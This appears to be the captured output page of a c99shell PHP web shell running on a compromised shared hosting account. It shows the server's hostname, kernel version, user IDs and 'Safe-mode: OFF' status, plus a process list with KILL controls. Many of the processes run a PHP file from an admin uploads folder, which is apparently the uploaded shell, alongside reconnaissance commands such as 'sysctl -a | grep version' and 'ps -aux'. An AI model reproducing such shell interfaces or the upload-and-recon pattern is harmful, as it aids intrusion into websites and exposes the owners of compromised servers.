Software: Apache. PHP/5.6.40 uname -a: Linux cpanel06wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.80.el6.x86_64 #1 SMP Thu Sep 24 uid=851(cp949260) gid=853(cp949260) groups=853(cp949260) Safe-mode: OFF (not secure) /opt/alt/python37/lib/python3.7/site-packages/charset_normalizer/cli/ drwxr-xr-x |
Processes: | ||||||||||||||||||||||||||||||
USER | PID | %CPU | %MEM | VSZ | RSS | TTY | STAT | START | TIME | COMMAND | ||||||||||||||||||||
cp949260 | 4163762 | 0.0 | 0.0 | 11464 | 656 ? R 06:47 0:00 sh -c sysctl -a | grep version | KILL | ||||||||||||||||||||||||
cp949260 | 4163763 | 0.0 | 0.0 | 8488 | 692 ? S 06:47 0:00 grep version | KILL | ||||||||||||||||||||||||
cp949260 | 4163761 | 0.0 | 0.0 | 11460 | 1224 | ? S 06:47 0:00 sh -c sysctl -a | grep version | KILL | |||||||||||||||||||||||
cp949260 | 4163745 | 0.0 | 0.0 | 313480 | 9948 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163738 | 0.0 | 0.0 | 12944 | 908 ? R 06:47 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 4163741 | 0.0 | 0.0 | 313480 | 9904 | ? | Ss 06:47 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 4163773 | 0.0 | 0.0 | 313480 | 10448 | ? | Rs 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163779 | 0.0 | 0.0 | 313480 | 9908 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163795 | 0.0 | 0.0 | 313480 | 9900 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163800 | 0.0 | 0.0 | 12944 | 908 ? R 06:47 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 4163792 | 0.0 | 0.0 | 13084 | 1020 | ? R 06:47 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 4163786 | 0.0 | 0.0 | 313480 | 9904 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163781 | 0.0 | 0.0 | 12944 | 912 ? R 06:47 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 4163735 | 0.0 | 0.0 | 12944 | 908 ? R 06:47 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 4163734 | 0.0 | 0.0 | 6104 | 560 ? R 06:47 0:00 whereis apache | KILL | ||||||||||||||||||||||||
cp949260 | 4163670 | 1.0 | 0.0 | 313480 | 9904 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163685 | 2.0 | 0.0 | 313480 | 9912 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163650 | 2.0 | 0.0 | 313480 | 9904 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163556 | 2.0 | 0.0 | 313480 | 9956 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4162340 | 1.1 | 0.0 | 311044 | 18984 | ? | Ss 06:47 0:00 lsphp | KILL | ||||||||||||||||||||||
cp949260 | 4163690 | 1.0 | 0.0 | 313480 | 9908 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163700 | 0.0 | 0.0 | 313480 | 9908 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163709 | 0.0 | 0.0 | 313480 | 9928 | ? | Rs 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163718 | 0.0 | 0.0 | 13084 | 1028 | ? R 06:47 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 4163708 | 0.0 | 0.0 | 313480 | 9900 | ? | Ss 06:47 0:00 lsphp:com/admin/uploads/181_file20250512002430.php | KILL | ||||||||||||||||||||||
cp949260 | 4163706 | 0.0 | 0.0 | 12944 | 912 ? R 06:47 0:00 ps -aux | KILL | ||||||||||||||||||||||||
cp949260 | 4163703 | 0.0 | 0.0 | 13084 | 1024 | ? R 06:47 0:00 ps -aux | KILL | |||||||||||||||||||||||
cp949260 | 4074790 | 0.4 | 0.0 | 311044 | 18988 | ? | Ss 06:23 0:06 lsphp | KILL |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 1.5687 ]-- |